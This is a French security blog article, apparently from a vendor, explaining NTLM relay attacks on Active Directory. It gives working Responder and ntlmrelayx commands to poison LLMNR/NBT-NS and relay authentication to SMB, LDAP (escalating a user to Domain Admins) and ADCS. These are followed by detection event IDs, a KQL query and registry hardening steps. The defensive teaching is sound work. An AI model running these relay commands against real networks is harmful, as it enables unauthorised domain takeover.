Qu'est-ce que le NTLM Relay ?
Le NTLM relay est l'une des techniques d'attaque réseau les plus fiables dans les environnements Active Directory. Il exploite le mécanisme challenge-réponse de l'authentification NTLM pour capturer les tentatives d'authentification des victimes et les relayer — en temps réel — vers d'autres services, en s'authentifiant en tant que la victime sans jamais cracker son mot de passe.
L'attaque ne nécessite qu'un accès réseau au segment cible. Aucun credential, aucun compte de domaine, aucun exploit. Dans de nombreux réseaux internes, elle peut être exécutée en quelques minutes après l'obtention d'un accès initial.
La cause racine combine trois facteurs : NTLM est encore largement utilisé malgré son ancienneté, la signature SMB est désactivée sur la plupart des postes de travail, et les protocoles legacy comme LLMNR et NBT-NS permettent aux attaquants d'intercepter les tentatives d'authentification en répondant aux requêtes broadcast.
Comment ca Fonctionne
NTLM utilise un challenge-réponse en trois messages :
- Le client envoie un message NEGOTIATE
- Le serveur envoie un CHALLENGE (un nonce aléatoire)
- Le client envoie AUTHENTICATE (hash NTLM appliqué au nonce)
Dans une attaque de relay, l'attaquant se positionne entre le client et le serveur, transmettant ces messages vers un service cible. Le service cible croit authentifier un utilisateur légitime.
Les victimes sont coercées à envoyer des authentifications via le poisoning LLMNR/NBT-NS (résolution de noms par broadcast) ou la coercition par print spooler (SpoolSample).
La Chaine d'Attaque
Etape 1 - Mettre en Place l'Infrastructure de Relay
# Responder — empoisonner LLMNR/NBT-NS
responder -I eth0 -rdw --no-HTTP-Server --no-SMB-Server
# ntlmrelayx — relayer vers la liste de cibles
ntlmrelayx.py -tf cibles.txt -smb2support -socks
Etape 2 - Capturer et Relayer l'Authentification
# Sortie quand le relay réussit :
# [*] Authenticating against smb://10.10.0.50 as CORP/jmartin SUCCEED
Etape 3 - Exploiter vers les Cibles de Haute Valeur
# Relay vers LDAP — escalader l'attaquant vers Domain Admins
ntlmrelayx.py -t ldap://dc01.corp.local --escalate-user attaquant
# Relay vers l'inscription web ADCS (ESC8)
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp --adcs --template Machine
Etape 4 - Escalade vers le Domaine
Le relay LDAP vers un DC escalade directement vers Domain Admin. Le relay ADCS donne un certificat machine utilisable pour l'authentification Kerberos.
Détection
Event IDs Windows
| Event ID | Source | Ce qu'il faut surveiller |
|---|---|---|
| 4624 (Type 3) | Machine cible | Connexion réseau depuis une IP source inattendue |
| 4776 | DC | Validation credential NTLM — surveiller NTLMv1 |
| 4625 | Cible | Échec de connexion depuis des relays ratés |
Requete SIEM (Elastic KQL)
event.code: "4624" AND
winlog.event_data.LogonType: "3" AND
winlog.event_data.AuthenticationPackageName: "NTLM" AND
NOT winlog.event_data.WorkstationName: (winlog.event_data.TargetServerName OR "*DC*")
💡 Conseil : Le NTLM relay laisse un pattern distinct : même compte s'authentifiant sur plusieurs machines dans une courte fenêtre depuis une IP source inhabituelle.
Remédiation
💡 Action Rapide : Activez la signature SMB sur tous les postes de travail via GPO. Ce seul changement rend le relay SMB impossible.
1. Activer la Signature SMB
# Via GPO : Options de Sécurité
# "Serveur réseau Microsoft : Communications signées numériquement (toujours)" = Activé
# "Client réseau Microsoft : Communications signées numériquement (toujours)" = Activé
# Vérifier
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters" -Name RequireSecuritySignature
# Doit retourner 1
2. Désactiver LLMNR et NBT-NS
# Désactiver LLMNR via GPO :
# Configuration Ordinateur > Modèles Admin > Réseau > Client DNS
# "Désactiver la résolution de noms multicast" = Activé
# Désactiver NetBIOS sur TCP/IP
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\Tcpip_*" `
-Name NetbiosOptions -Value 2
3. Imposer NTLMv2 Uniquement
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name LmCompatibilityLevel -Value 5
4. Activer la Signature LDAP sur les DCs
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LDAPServerIntegrity" -Value 2
Comment EtcSec Détecte Cela
NTLMV1_ALLOWED identifie les domaines où NTLMv1 est encore autorisé — la version NTLM la plus faible, la plus facile à relayer et à cracker.
WDIGEST_ENABLED signale le cache de credentials en clair qui aggrave l'impact de tout vol de credentials basé sur le relay.
Les vérifications réseau évaluent également la configuration de signature SMB, les exigences de signature LDAP et les politiques de restriction NTLM.
ℹ️ Note : EtcSec audite la sécurité de l'authentification réseau lors de chaque scan AD. Lancez un audit gratuit pour identifier l'exposition aux attaques NTLM relay.
Articles connexes : Attaques ADCS | Sécurité Mots de Passe AD

